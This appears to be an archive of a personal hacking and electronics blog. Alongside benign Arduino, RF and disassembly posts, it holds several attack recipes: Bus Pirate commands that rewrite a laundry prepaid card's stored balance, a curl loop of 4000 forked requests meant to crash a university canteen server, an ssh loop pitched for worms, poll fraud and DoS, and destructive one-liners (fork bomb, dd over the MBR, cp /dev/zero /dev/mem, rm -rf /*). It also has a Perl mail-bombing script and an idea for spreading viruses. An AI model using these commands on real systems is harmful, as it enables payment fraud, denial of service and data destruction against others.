Sunday, September 12, 2010

A primer on the design of a frequency detector (Part 1)

In French, we say "Theory is like practice, except in practice". I am definitely experiencing that. While trying to understand electronics, especially electronics for radio frequencies (RF), I am hitting all sorts of difficulties I want to share. It always amazes me when I see a radio, a WIFI or something else wireless. I've done a lot of theory during my studies (digital signal processing, information theory, etc.) but I've never built my own radio. Besides that, radios are known to be pure analog devices, so by definition, it's black magic stuff.

My motivation behind that is that we see more and more devices using wireless technology and it still remains pretty difficult to know what is shipped into the air. Of course you could use very expensive hardware, but the here, the goal is to make something affordable, something below 10$.


The first step when trying to understand a system is to know the frequency it uses. Nowadays, you can open the device and identify the RF chip. But sometimes, you are just unable to do it (nothing written on the chip, etc). But how can we know on which frequency it operates ? The idea here is to have a device that will try to determine a "known frequency". For example, a weather station will transmit the data at 315MHz. There are frequencies that are reserved for this type of use and for the ease of the design, will only assume the following frequencies: 315MHz, 390MHz, 434MHz.

To detect if there is a frequency in the air, we can use a logarithmic detector like the AD8313 from analog device.





The goal of this chip is to output a certain tension based on the input. Actually, they are essentially just cascaded amplifier. This is exactly what we are looking for: depending on the input it will capt in the air, the output will have more or less tension. However, this information is not enough. Indeed, you will have a high input if you are close to you weather station, but also if you are close to you Wifi station. In other words, the chip alone is not able to distinguish the difference in frequency.


To solve this issue, we will add different filters in front of the input, thus only the frequencies we are interested in will be detected. This brings us to a new hot topic: the filter design.

Thursday, July 1, 2010

Free laundry for everybody :)


Where I live, there is a room with the laundry machine. Once every other week, you can use it to wash your clothes.
We have different systems to pay: (pseudo) smart card, coins, etc, it depends on where you live. In my case, it was a pseudo smart card you have to refill with money (to the concierge) every time it gets empty.

Here is how it looks like:




I use the word "pseudo" smart card, because as you can see, it is not really one. Actually, there are only 6 contacts (instead of 8) and there is a sort of bus driving the signal somewhere in the white plastic.

The white plastic was heavily attached to the card, so to remove it, I put the whole card in an acetone bath. After few minutes, I was able to remove it without any pain.

I was amazed to see a simple EEPROM underneath. It already meant that replay attacks were possible, even if we didn't know how to interpret the content: save the content, do your laundry and restore the content afterward.




We can identify the chip and deduce from the logo that the manufacturer is "National":

71AR
93C46
M8

I found a similar datasheet. However, we'll see that it is not exactly the same.
Since I didn't want to be invasive on the card, I bought a "season 2 interface". This device is usually used by satellite pirate and is handy to do MITM on smartcards. I got mine for 8€.




I also soldered 8 pins on the back of the interface, to inject my signals (I/O of the SPI).




Since we have the datasheet, we can make the pin ring with a multimeter and deduce what corresponds to what on the smart card contacts:

X --- X (not assigned)
Di --- Sk
Do --- CS
GND --- VCC

I'll make a long story short, because I had different, not really relevant issues. To inject the signal, I used the "Bus pirate" (BP) and to verify that the injected signal was correct, I used the OpenBench Logic Analyzer (OLA). The BP is a cool piece of hardware, because there is an interpreter that will help you to send the correct signal with the correct synchronization, so no need to write a program for it. Since I was not mastering it, I used the OLA to make sure the signal was correct. According to the datasheet, the sequence to send is 0y110 + 6 bit address. After some trial and error, I finally was able to dump the whole memory, by sending something like the following command in raw3wire mode, 5V:
]-^^_^ _^:6 r:1024[

Actually, by looking at the longest prefix, we figure out that the memory is 128 B long and looks like the following:

READ:
0x03 0xE8 0x03 0xC8 0x03 0xD7 0x02 0xE9 0x00 0x00
0x00 0x04 0x03 0xEA 0x0B 0x5E 0x01 0xAA 0x0B 0x5E
0x00 0x00 0x0B 0x5E 0x00 0x00 0x00 0x00 0x00 0x00
0x03 0xE8 0x00 0x04 0x03 0xEA 0x0B 0x5E 0x01 0xAA
0x0B 0x5E 0x0B 0x5E 0x00 0x00 0x00 0x00 0x00 0x00
0x25 0xAE 0x15 0xB3 0x1A 0x0A 0x00 0x00 0x00 0x00
0x00 0x00 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF



The smallest granularity is 2B when accessing the card (just make the division and it'll fit). At the first look, I don't know what these values really are. So I decided to go to the laundry room, put my card in the reader and pay for a wash. The price was 3.-. Then I dumped the content again and made a diff:

READ:
0x03 0xE8 0x03 0xC8 0x03 0xD7 0x02 0xE9 0x00 0x00
0x00 0x04 0x03 0xEA
0x0A 0x32 0x01 0xAA 0x0A 0x32
0x00 0x00
0x0A 0x32 0x00 0x00 0x00 0x00 0x00 0x00
0x03 0xE8 0x00 0x04 0x03 0xEA
0x0A 0x32 0x01 0xAA
0x0A 0x32 0x0A 0x32 0x00 0x00 0x00 0x00 0x00 0x00
0x25 0xAE 0x15 0xB3 0x1A 0x0A 0x00 0x00 0x00 0x00
0x00 0x00 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF
0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF


This is interesting, 6 regions in memory changed somehow. But what does 0x0A32 means ? This is 2610, and previously, we had 0x0B5E which are 2910. Remember I told you it costed me 3.-... and what I didn't tell you was the amount of money remaining on my card: 29.10.-. So it is just written in clear in 6 different regions in memory, I couldn't believe it !

The next step was to write 9990 (0x2706) in these memory position and see if it worked. However, to write, according to the datasheet, we have to set WEN, and we just cannot, since all the pinouts are taken. Thus, this is not the good method. I tried to send a "write" command, but without any success :(.

When I was looking for the datasheet of the chip, I found also this one. This is an Atmel, but it turns out the protocol is quite similar. We see there is a "Write Enable", with sequence 0y10011XXXX that has to precede every programming mode.
If we now send a command like

]-^_^^-^^^^^^^^[ ]-^_^-^ -^^^^^^ 0x12:2[ ]-^^_^ -^^^^^^ r:128[

the magic occurs and we see, hopefully, that the content has been correctly written to the EEPROM. This is a good news, so we can now modify the 6 areas we previously found. I did a small script to calculate the offsets, but basically, we need to modify by doing this:

]-^_^^-^^^^^^^^[ ]-^_^-^ _^^^-^^^ 0x27 0x06[ : 7th word
]-^_^^-^^^^^^^^[ ]-^_^-^ _^^-^_^^-^ 0x27 0x06[ : 9th word
]-^_^^-^^^^^^^^[ ]-^_^-^ _^^-^_^-^^ 0x27 0x06[ : 11th word
]-^_^^-^^^^^^^^[ ]-^_^-^ _^-^_^^-^_^ 0x27 0x06[ : 18th word
]-^_^^-^^^^^^^^[ ]-^_^-^ _^-^_^-^_^^ 0x27 0x06[ : 20th word
]-^_^^-^^^^^^^^[ ]-^_^-^ _^-^_^-^_^-^ 0x27 0x06[ : 21th word


Of course, this can be written in a shorter manner, but for clarity, I leave it this way. To sum up, we just modified the 6 areas in memory to put 9990 (0x2706) in them (99.90 CHF), because it sounded like the mechanism was working this way. Now, let's go back to the laundry room to see if it works as expeced:





This is a very small hack, but still nice. I'm not sure this company is still selling this kind of "smart cards", they probably replaced them with real smart cards nowadays. I wouldn't have done this hack without the help of Ian & Sjaak from the dangerous prototypes forum, so greetz to them.

Thursday, June 10, 2010

When a stranger calls you at work...

Hey guys,

I apologize for not being very active these last times. I've been working and trying to prepare the amateur radio exam (not sure I'll do it, but I'm preparing it...), so nothing very exciting.

This won't be a technical article, just something that happened to me today. I received an anonymous call at my working place. The guy was a financial advisor who wanted to invest my money. He said that he had contacts within my company and that was the way he got my direct phone call. While speaking a British English, he started to ask me what I was interested in (retirement, etc) and fixed an appointment after asking me a bunch of questions, like my age, if I was single, etc. Actually, I thought it was someone of my company and I trusted him, until he asked me my email address. I gave him my address, but I was puzzled: how cannot he know my email address if he had a contact in my company ? That was weird.
I was really concerned about the privacy issue here. I decided to contact the HR and I explained to them what just happened. I was also pissed off they gave my direct contact to some stranger. It turned out that they were absolutely not aware of this activity and decided to directly contact them and they swore they never told anyone about my private info.
Meanwhile, I was thinking about how they could find me and I figure out they could have used Linkedin. This is the only place where I put real info about myself... and indeed, the company looked at my profile lately. Sounds pretty easy from here, they know where I work, they call the reception, ask for me and TADA, this is it.
I reported the case to the HR who said that they will sue them if another case is registered.
I know that if I'll go to the meeting, I will probably get out with a new insurance or I don't know what, so I decided to reply that "for security reasons, I have to decline the meeting". I'll classify this as social engineering act, and fuck, it worked very well !

Saturday, April 3, 2010

Analyzing the Fiat Blue&Me iPhone Adapter

I recently got a new car, a Fiat Punto to be more precise. The car has a lot of gadgets inside, like the cruise control, USB, bluetooth for the cellphone, etc. It also has the an infotainment system called "Blue&Me", which is pretty well done, with a not too bad voice control system. Well, I have a USB connector, so I'd like to attach my iPhone in order to listen to my playlist. Sadly, the Blue&Me system is not able to read the iPod/iPhone directly, we need to buy a tiny device:



This small piece of hardware is charged around 140$ in the Fiat store. It bugs me: why the hell is it so expensive ? Is there any custom hardware inside or what ?

Let's open it and see what's inside:

  • TOP view:


  • BOTTOM view:



  1. STM32F101C8T6: The STM32F101xx access line family incorporates the high-performance ARM Cortex-M3 32-bit RISC core operating at a 36 MHz frequency, high-speed embedded memories (Flash memory up to 128Kbytes and SRAM up to 16 Kbytes), and an extensive range of enhanced peripherals and I/Os connected to two APB buses. All devices offer standard communication interfaces (two I2Cs, two SPIs, and up to three USARTs), one 12-bit ADC and three general purpose 16-bit timers.

    Price for a single chip: ~5$

  2. SMSC USB2512I: The SMSC 2-Port Hub is low power, OEM configurable STT hub controller IC with 2 downstream ports for embedded USB solutions.

    Price for a single chip: ~5$

  3. PL-2303MX: USB to Serial Bridge Controller.

    Price for a single chip: ~7$

  4. There is a small chip I wasn't able to identify.
There are other passive electronic components, like voltage rectifiers, etc. If you have access to a lab where you can print your own PCB, the overall cost of this tiny adapter is ~20$.

If you look carefully at how the adapter is designed, you might find that the chips are not placed at right location. The USB2512I(USB Host) chip is close to the male connector whereas the UART (slave) chip is close to the female USB connector. This does not really correspond to how it should work, since the iPhone [slave] must be connected to a host [aka female input] and the adapter must behave as a slave [aka male output] with respect to the car.



As you can see, there is a 10Pin connector, probably a JTAG (according to the ARM datasheet). I am surprised they let the pins, now I just want to test what's going on in the chips. However, we don't need all this information. Another approach is to check what are the signals coming in and out from this device: how does the iPhone communicate with the car and vice-versa, how does the car communicate with the iPhone ? For this, we must be able to sniff the USB connexion. How ? You might use an expensive USB sniffer, or there might be another better [aka cheaper] option: dumping the content right after the PL-2303 and right before the USB2512i, because we will have a serial signal :).

Saturday, March 20, 2010

Dumping out the content of the Arduino

I'm very impressed by how easy it is to make a small program on the arduino, the community did a great job. Also, I think it's a very easy introduction to embedded systems, because you don't have to worry about the low-level aspect of embedded systems in general.
Recently, I had to analyze a "black-box". By black-box I mean a box that you don't know anything about. In my case, it was a 3k$ video component, with a FPGA (Cyclone II) and an atmel (Atmega168). I got it for a little moment, I also had an AVR programmer but I did not know how I could dump out the content of the atmega chip.

It turns out that in Windows, you can just install AVR Studio and from there you will have a nice GUI with all the options to maybe retrieve the content from the memory. This programs does a great job, but what about Linux ?

Well, avrdude is your friend in the Linux world. I wanted to dump the content of the memory, so an idea might be to use it this way:


~/arduino-0017/hardware/tools/avrdude \
-C~/arduino-0017/hardware/tools/avrdude.conf -v -v -v -v \
-pm328p -cstk500v2 -P/dev/ttyUSB1 -D -Uflash:r:/tmp/kikou.hex:i


And ohh... magic, all the content is dumped on the file /tmp/kikou.hex.

Well, this is an intel hex dump, so not really readable:


:200240008093A30181E0809370011092A001089580919E0190919F012
:2002600081E0809399011092A00110927101109270010895809198018
:200280009801109299010895EF92FF92CF93DF93FB012091700122231
:2002A000710123503081231708F420834081C3E7D1E0BE0150E00E941
:2002C00071012FEF3FEF219713C099912927022E2295207F2025032E3
:2002E000269532272327220F220F220F20258150882359F790EF283B8
:20030000CF91FF90EF9008958091550160919A010E945F03809110016
:20032000910181E08093980108951F920F920FB60F9211242F933F934
[...]


I tried to dump it as "raw output", but you will get an hexdump. "Ce n'est pas folichon" I'd like to say. From the hexdump, one cool thing would be a disassembler, but apparently, nobody has done one on Linux. If you know a way to read hexfiles (avr-objdump won't work here), drop me a message!
Another solution is to use the AVR Studio program in Windows, apparently it does the job, but I haven't tried yet.

We'll probably come back on that very soon 8).

Saturday, January 16, 2010

My first steps with the Arduino

I recently received the arduino I ordered on Makershed. Actually, I took a starter kit to play with this small piece of hardware. The board has an ATMEGA328 uproc (8-bit) with few I/Os to play with.

They offer a nice tiny sdk to write your code/compile and upload. I've nothing to say, it's working great, they did a good job, however, since I am an emacs aficionados (and I'm not a Java fan), I wanted do the process manually.

The first was to analyze a bit was was given in the arduino (software) package. The file being in arduino-0017/hardware/cores/arduino/Makefile gives you the makefile to compile your programs. We can already notice that it does not work out of the box and that you've to modify it.

Here are my modifications:

INSTALL_DIR = $(HOME)/arduino-0017
PORT = /dev/ttyUSB0
UPLOAD_RATE = 57600

AVR_TOOLS_PATH = /usr/bin
SRC = $(ARDUINO)/pins_arduino.c $(ARDUINO)/wiring.c \
$(ARDUINO)/wiring_analog.c $(ARDUINO)/wiring_digital.c \
$(ARDUINO)/wiring_pulse.c \

AVRDUDE_FLAGS = -V -F -C $(INSTALL_DIR)/hardware/tools/avrdude.conf \

Well, you notice that one file somehow disappeared in SRC. I simply removed it and it seems to be working. Also, the AVR_TOOLS_PATH was pointing on a wrong directory.

Now, for compiling your stuff, a simple make must be enough.

The next step was the upload that was a big deal for me. Actually, it was working with the Java interface, but not with avrdude. Actually, I was using the following command, because I saw it somewhere:

avrdude -V -F -C ~/arduino-0017/hardware/tools/avrdude.conf -p m328p -P /dev/ttyUSB0 -c stk500 -b 19200 -U flash:w:applet/Fading.hex -vvvvvv

Well, I got the following message:

avrdude: Send: 0 [30] [20]
avrdude: Send: 0 [30] [20]
avrdude: Send: 0 [30] [20]
avrdude: ser_recv(): programmer is not responding
avrdude: stk500_recv(): programmer is not responding

So WTF (Huh, btw, I entered twice avrdude avrdude [...], it segfaults after trying one :)) ? How so it's working with the Java App, but not with the avrdude ? As a wise guy said once "one week of trial and error can save up to half an hour of reading documentation", well, actually I could have read the Arduino troubleshooting section, but...

My idea was to sniff the what's going on /dev/ttyUSB0 when using the Java IDE and compare it with the avrdude command. To sniff it, I found jpnevulator as being usefull.

When running it, ./jpnevulator --read --tty /dev/ttyUSB0, turned out that I was getting the "programmer is not responding" error message even in the Java IDE :), this meant that the Java IDE was calling avrdude somehow (since this is an avrdude error message).

Cool, I downloaded the Java files from their svn and started to grep on these. In arduino/app/src/processing/app/debug/Uploader.java I found something interesting:

if (verbose || Preferences.getBoolean("upload.verbose")) {
for(int i = 0; i < commandArray.length; i++) {
System.out.print(commandArray[i] + " ");
}
System.out.println();
}


So, since I did not want to recompile all the files (lazy ?), I just wanted to set this boolean upload.verbose to true. Turns out that the preferences are read from a file ~/.arduino/preferences.txt, so you just have to add "upload.verbose=true" somewhere in there.

Now we run the Java program again and we the nice working avrdude command. We can use it directly after resetting the device (by pushing the button or directly sending a reset signal).

The command it now:

/usr/bin/avrdude -V -F -C ~/arduino-0017/hardware/tools/avrdude.conf -p atmega168 -P /dev/ttyUSB0 -c stk500v1 -b 57600 -U flash:w:applet/Fading.hex

Basically, the speed was wrong. Again, don't forget to push the reset button before shipping the code on the board

Monday, January 11, 2010

Finding the number of parameters directly in the assembly

Recently, when working on my library tracer, I wanted to know the number of parameters a function uses. I did not have any access to source code or debug info, so I had to find another way to get this information. Programs like ltrace/strace have an extra file, usually located in /etc/ to define the prototype of certain functions. When ltrace does not know a specific function prototype, it simply sets the number of parameters to 5 by default. However, by doing a simple analysis of the assembly code we can infer the number of parameters with a pretty high success rate. In my study I assumed we are using a x86_64 Linux box that binaries have not been obfuscated.

We will focus on regular registers, but the theory applies for FPU registers too. By convention, on x86_64, GCC will use the registers to pass the arguments (before using the stack), in the following order: %di - %si - %dx - %cx - %r8 and %r9. Thus, without loss of generality, up to 6 parameters can be passed through registers (before using the stack), with some exceptions for bigger data structures.

We define a block as being the set of instructions between two instructions changing the control flow (e.g.: ret / call / j). First, we localize this instructions in the disassembled program. From there, we move backward to retrieve the different parameters.

Let's do it on a example. The following snippet of code defines 4 blocks:


402406: 84 c0 test %al,%al
402408: 0f 84 62 ff ff ff je 402370
----------------------------------------------------------
40240e: 40 84 ff test %dil,%dil
402411: 74 e0 je 4023f3
----------------------------------------------------------
402413: 83 3d e2 5e 21 00 03 cmpl $0x3,0x215ee2(%rip)
40241a: 75 d7 jne 4023f3
----------------------------------------------------------
40248c: 48 8b 2d 35 69 21 00 mov 0x216935(%rip),%rbp
402493: ba 05 00 00 00 mov $0x5,%edx
402498: be 88 0b 41 00 mov $0x410b88,%esi
40249d: 31 ff xor %edi,%edi
40249f: e8 24 fb ff ff callq 401fc8

If we take the last block, and we perform a backward analysis, we figure out that the registers %di, %si, %dx (and %bp) are modified. According to the _cdecl_ calling convention, it is likely that the function will take 3 arguments before jumping into the plt trampoline.

Sadly, this is not always as clear as in the previous example. For instance, we can see that the others block does not follow this nice rule, but can we deduce the function are not expecting any parameter ? As it was previously stated, it is very rare that a function in called only once. Although, the main purpose of a function is exactly the opposite, ie being called as often as possible from various parts of the program. Thus, by applying the previous criterion over all functions, we can deduce a heuristics that will retrieve the number of arguments with a good success rate.

Every time we encounter a function call, we save the set of registers of the block. A map looks like the following: (%di. %si. %dx. %cx, %r8, %r9). Every element is a boolean and says whether the register was used or not.

Let's take the same function as before, dcgettext(..) from /bin/ls. The function is called around 15 times in the overall program, but all the registers cannot be retrieved every time.

(0, 0, 1, 1, 0, 0)
(0, 0, 1, 0, 0, 0)
(0, 1, 1, 0, 0, 0)
(1, 0, 1, 0, 0, 0)
(1, 1, 1, 0, 0, 0)
[...]

Typically, (0, 0, 1, 1, 0, 0) means that only registers %dx and %cx were used. Thus, we take the set that has been used the most frequently. Let's assume the set appearing the most often is: (0, 0, 1, 0, 0, 0). This would mean that only register %dx is used. However, we do have a discrepancy compared to the official _cdecl_, because the first parameter must be sent through the %di register.

A good practice is to set to 1 all the registers that are on the left of the top-right register in the map. Thus, (0, 0, 1, 0, 0, 0) will become (1, 1, 1, 0, 0, 0). This means that register %di and %si are also used. To make sure our theory is correct, we can check in the man pages that the prototype is correct:

char * dcgettext (const char * domainname, const char * msgid, int category);

For the function having an associated man page, this technique has been shown to be very effective, by retrieving correctly the number of registers 90% of the time. When the mean gives us a guessable output, we will always choose the value that have more registers set, in order not to miss any of them. Note that this technique is very light, since it does not require to go into the called function to analyze the parameters in there.

To implement this, I chose Perl for a simple reason: I get the binary output from objdump and then I can parse into it pretty easily with simple regex. Using this kind of techniques we can also infer the type of the parameters, but this is another story 8).

Tuesday, December 15, 2009

Using Stumbleupon to spread virii ?

Chances are that you discovered my website by "stumbling upon". I like this way of spending time, by fucking around over the Internet. You just click and you get a new webpage that fits sometimes what you like.


However, it might be a great way to spread virii also. Assume that you stumble a virus you intentionally added on a box you own. Then people will come on this website and their browser will ask for downloading this file. When you know that the lambda user will always click on "OK", you might infect him with a high percentage rate. This idea worth trying...

Thursday, October 22, 2009

Abuse the load time of a Web page, for DoS & profit

In my university, we have different canteens (this is how it's called) where you can eat for lunch. Each canteen puts its food on a common website.

You also have the possibility to see what was yesterday's lunch, but also tomorrow's one. Basically, if you request tomorrow's offer, the URL will look like
http://X?ref=1
If you want yesterday's URL, you will type
http://X?ref=-1
And obviously, if you want to have the menu that was available 2 days ago, you just have to type
http://X?ref=-2
Of course, the idea is to input a big number here and see what happens. Usually, big numbers are escaped. Let's have a try...
http://X?ref=-20000
This gives us the offers of the Wednesday, Jan 19 1955. Of course, the entry is empty, but it's fun to come back that much. Now we add one more '0'
http://X?ref=-200000
The date now is Jan 1st 1970. This date should talk to you (doesn't it ?). Do we have an overflow somewhere in there ? Clearly, there is a validation input issue. I also quickly tested other escape patterns, they did not work.

However, we can measure the load time of the page to see if our input modifies it. To do it, I will use this small script that will only count the load time

for i in $(seq 1 8000000 2000000000)
do
curl -s -w "%{time_total}\n" -o /dev/null http://X.php?ref=-$i >> /tmp/result.txt
done
Then, we can plot the result of the previous command.

I admit I wasn't expecting such an increase. The script probably has an internal loop and iterates over the argument we provide. If we decrease the granularity by increasing the increment, but also the limit, this rule is confirmed as you can see on the next plot.



This time, we start seeing some discrepancies, but the overall picture is still linear. Since we get such a nice graph, why not trying with HUGE values ?

curl -s -w "%{time_total}\n" -o /dev/null http://X?ref=-200000000000
30.084

The last request took 30s to be computed. So what's next ? If it takes 30 seconds for 1 request, what will happen for 4000 requests ?

for i in {1..4000}
do
curl -s -w "%{time_total}\n" -o /dev/null http://X?ref=-200000000000 > /dev/null &
done

You will notice that a '&' was added at the end of the command, in order it to fork. It will probably dramatically slow down your computer, but you will eventually crash the remote machine.

Actually, the load time trick has already been used in the past. Typically, you could use this to query a database: depending on the time it takes to answer, you'll be able to deduce whether the login/pass was in the database or not (sort of "side channel attack").

Well, once you can identify this kind of behavior (change in the processing time upon request), it becomes just a matter of requests for the machine to become out of ressources. Here, the server is misconfigured: one should not allow so many request from a client in such a small time, especially when they increase the resource consumption, and one should also check the input validation more carefully.

Tuesday, September 29, 2009

Defeat google's canned response

There is a great application in gmail lab, called "canned responses". Basically, it replies on your behalf, when your email matches the filter you set up.
This is great for example if you go on vacation and you want to auto-reply a particular message. However, gmail is following "too well" the standard.

In my case, I was really disturbed by the emails I was receiving from my school associations. You know, they are the kind of emails you absolutely don't care about.

So what's the problem ?


The problem is this emails are sent through lists. Usually, there is a moderator deciding whether or not forwarding the email. In my case, I couldn't unsubscribe from the list and I was receiving like 3-5 emails/day.
When using the gmail canned responses, it replied to the "list-bounce" (ie following theReturn-Path in the email header and then, the sender did not receive my email back. That was a pitty.
The idea was then to:
  1. Effectively reply to the sender, not to the bouncer.
  2. Also send an email to the list moderator to show my displeasure.
Sounds like a perl script would be very easy to write. I created a new gmail account and I enabled the POP (Settings->Forwarding and POP/IMAP). On my main email address, I forwarded the email matching a certain pattern to this new mailbox.
To respond to the sender, I was using the mailx command, for simplicity.


Perl is new for me, so my coding style is crappy, I know. Of course, feel free to criticize it if you feel the need.



#!/usr/bin/perl -w
my $user = 'bobo@gmail.com';
my $pass = 'papassword';
my $home = '/home/blabla/automailer';

my $pop = new Mail::POP3Client(
USER => $user,
PASSWORD => $pass,
HOST => "pop.gmail.com",
PORT => 995,
USESSL => 'true',
);

my $count = $pop->Count();
for my $i (1 .. $count) {
my $name = "";
my $email = "";
my $subj = "";
foreach ($pop->Head($i)) {
$name = $1 if /^(?:From):(.+)<(.+)>/i;
$email = $1 if /^(?:From):(?:.+)<(.+)>/i;
$subj = $1 if /^(?:Subject):(.+)/i;
}

# We remove the spaces at beginning/end
s/^\s+// for $subj;
s/\s+$// for $subj;
s/^\s+// for $email;
s/\s+$// for $email;
s/^\s+// for $name;
s/\s+$// for $name;

# We save the history
open FILE, "< $home/contact.txt" or die; my @array = ;
close FILE or die;
my $found = 0;
my $number = 0;
for my $i (0..$#array) {
if ($array[$i] =~ /$email\s+(\d+)/) {
$number = $1;
$number++;
$array[$i] =~ s/$1/$number/;
$found = 1;
# print FILE;
}
}
if ($found == 0) {
push(@array, "$email 1\n");
$number = 1;
}
open FILE, "> $home/contact.txt" or die;
print FILE @array;
close FILE or die;

my $msg;
$msg .= "Hi $name,\n\n";
$msg .= "I'm an auto replier.\n";
$msg .= "Thanks a lot for your email \"".$subj."\", but I am absolutely not interested. Next time,
please remove my address from your contact list.\n";
$msg .= "Since apparently you already sent me ".$number." times an email, I am going to do the same
x6. Thus, I'm sending you back ".($number * 6)." emails.\n" if ($number > 1);
$msg .= "\n";
$msg .= "Thanks,\n";
$msg .= "\n";
$msg .= "Blabla.";
$msg .= "\n";
# print $msg;
open FILE, "> $home/msg.txt" or die;
print FILE $msg;
close FILE or die;

for (my $i = 0; $i < $number; $i++) {
`mailx $email -s \"Not interested: $subj $i\" < $home/msg.txt`;
`mailx crappylist\@vovo.com -s \"Not interested: $subj $i\" < $home/msg.txt`; }

$pop->Delete($i);
}
$pop->Close();




So what do we do ?

  • We first connect to the server and retrieve every email.
  • For each email, we take the sender's name, email address and the subject.
  • We build the message with the previously collected data.
  • We send the message and update the history. An entry in the history is email - times. First time we are polite, then we send 6x the number of emails the sender sent to us.
  • We send the email using mailx (easy way...).
  • We delete the message on the server, in order not to reprocess it.
There we have a very effective auto-replier that will spam back the sender (and the list btw). You can put this Perl script in you crontab, of run a small bash script in a screen that will execute it every 10 minutes for instance.

The end of the story ?

The administrator contacted me, because I was improperly using the computer resources of my school and I had to shut off my script :(...

Wednesday, September 16, 2009

ath5k: now in Master mode !

This is a good news for those who have had big troubles with their Wireless drivers on the alix box.
Finally, from kernel 2.6.31, ath5k supports master mode !

At the time I am writing, kernel26 2.6.31 is not yet in the core repository for arch linux, thus you'll have to get it from the testing branch.

I did different tests with multiple computers/iPhone, this works amazingly well, I reach speeds like never before !

Before, I had ath_pci and ath5k cohabiting on the same system. ath5k was complaining about a noise calibration problem:

ath5k phy0: noise floor calibration timeout (2412MHz)

However, what was weird was that the connection between my laptop and the router was dramatically slowed down as well. As a remember, I was using ath_pci for the card that linked the router to my laptop and ath5k for the card that linked the router to the wireless access point. My conclusion was that ath5k and ath_pci work together somehow.
By removing ath_pci from my system, the messages disappeared and my connection became way better. Of course, I did not have access to the router anymore.

Now that ath5k provides master mode (through hostapd), everything is solved and I have very nice speeds between both links, ie laptop to router and router to ap.

Saturday, September 5, 2009

Using NFS to simply abuse the system

It's not unusual that companies and schools use NFS (& LDAP) to virtually connect the machines together. Thus, if you connect on machine X, you will find the same content as if you had connected to machine Y.
This is a very nice feature, because everywhere is like home :). It also means that if we have access to all these machines, we can take control of all of them at the same time.

In this article, I will show and mention different examples where we can take benefits from multiple machines connected by NFS.


To make it possible, we will simply use ssh. Basically, what we want to do is
  1. Connect on every machine of a predefined list.
  2. Execute the script on the machine.
  3. Quit and connect to the next one.
This is extremely easy to do that. First, you create a ssh key pair, without any password:


ssh-keygen -t rsa
[...]

Now that you have the public key available, you can put it in your authorized_keys file. If you don't know what I am talking about, here is a neat article. Next, we can connect to all machines:

for i in $POSTS; do
echo $i
ssh -T -o "StrictHostKeyChecking no" -o ConnectTimeout=3 \
-i $KEY -l user $i $TOEXEC
done

Here are few comments about the command:
  • $POSTS is a list of machine you want to connect on.
  • "StrictHostKeyChecking no": ssh won't complain about not knowing the key.
  • ConnectTimeout=3: Abandon if cannot connect after 3 seconds.
  • KEY : place where your private key lies. Usually it's in ~/.ssh/
  • $TOEXEC: The command you want to exec on the remote machine. You can set EXEC=$1 if you want to pass a parameter to the file.
Now if you suppose that this snippet of code is called ./paral.sh, let me show you what kind of interesting application we can do with it.

  1. The singing machines: like on this video, you can make 80 iMac singing. Upload a sound file on a directory that NFS shares, and then, execute ./paral.sh "aplay /soundfile.wav". Here, I also used the "at" command to somehow synchronize them together, but did not work very well. In the same room as the video was taken, we made a script that was making the machines speaking together. That was fun.
  2. Exploit & rootkit the machines: for those of you that are more "evil", you can think about exploiting all the machines together. This is an easy way to write a small worm. Again, put your exploit in your shared directory and execute the ./paral.sh file from one machine.
  3. Abuse the web: it happens too often that web services recognize you based on your IP address. For example, you won't be able to vote a poll more than once a day. With this trick, you can use multiple machines to vote for a poll (provided you did the bot). Here is an example you can try to "attack": http://www.guesslotto.com/
  4. Use multiple machine to perform DoS, etc...
  5. Parallelize your work: if you have heavy calculations to perform, you can split it on multiple machines using this trick.
  6. etc.
This is a terrificly easy trick, but I have a lot of fun with it. I am using it especially to circumvent web protections.


Have fun 8)

Tuesday, August 18, 2009

6 ways to crash your linux. Because it's fun and useless :)

This is the kind of topics that are completely useless, but that I like. It's probably like playing the Wii, it's useless, but you (we) like it.
Well, here are different ways to crash your linux box, some of them are well known, like the fork bomb, others are more obscure. Some are irreversible, others are just "for the session", where a simple reboot is enough.

Let's see them.
  • The Fork bomb: this is a classic I shouldn't mention. Actually, it has a whole wikipedia page devoted to it.
     :(){ :|:& };: 
    will run your machine out of resource, unless you limit user processes in /etc/security/limits.conf.
  • The next will overwrite your MBR with (pseudo) random data. At least you'll be sure not to boot your OS again (neither Windows).

    dd if=/dev/urandom of=/dev/sda bs=512 count=1
  • Reading I/O ports can have some nice "side effects". Try to run this command and you'll see what I'm talking about
    sudo less -f /dev/port
    The result will be that your machine will freeze. I did not dig into that to know why it was freezing, but this is fun :).
  • What happens when you overwrite the memory of a process ? Usually, it segfaults. You can put some fun (mess ?) in your system memory:
    cp /dev/zero /dev/mem
  • This one became a cult, just because it probably already happened to you. You somehow make a confusion and you remove every single file on your hard drive
    rm -rf /*

  • Finally, we could use the power of the find command, with the 'exec' argument that will execute the command that follows it. This kind of mistake can happen when you are in a hurry.

    find . -type f -name * -exec rm -f {} \;

Hopefully, a lot of these commands (except the fork bomb) won't damage your computer if you run them as a simple user, simply because the linux system won't let you access the file you don't have the permission on.
Obviously, if you try to write some LKM, the kernel will probably crash without your approval :P. From here, you could do whatever you want, since you are "God Almighty".

Do you know some other ways to crash your machine ? Don't hesitate to post your way in here.

Saturday, August 15, 2009

ath_pci & ath5k: I want to use both of them

Here is my problem:
